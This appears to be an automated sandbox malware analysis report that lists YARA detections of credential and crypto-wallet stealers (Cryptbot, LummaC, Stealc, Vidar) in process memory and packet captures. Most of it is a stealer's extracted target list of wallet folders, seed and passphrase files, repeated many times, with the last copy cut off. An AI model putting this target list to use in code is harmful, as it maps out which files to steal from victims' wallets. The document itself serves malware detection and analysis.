Source: Yara match	File source: 00000018.00000002.2645191342.0000000000681000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2604632856.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2615939383.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2699998408.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2528992424.0000000005550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2574457341.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 15a477ae94.exe PID: 360, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: lll.exe PID: 8580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 954f709e67.exe PID: 9136, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 954f709e67.exe PID: 6728, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000001F.00000003.3141631293.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2537867494.0000000000341000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3294866790.0000000000021000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2540983254.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2035418521.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3308546587.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3192874994.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.3269947580.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3185387404.0000000000021000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 97aac85e85.exe PID: 4564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 97aac85e85.exe PID: 8388, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\.
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 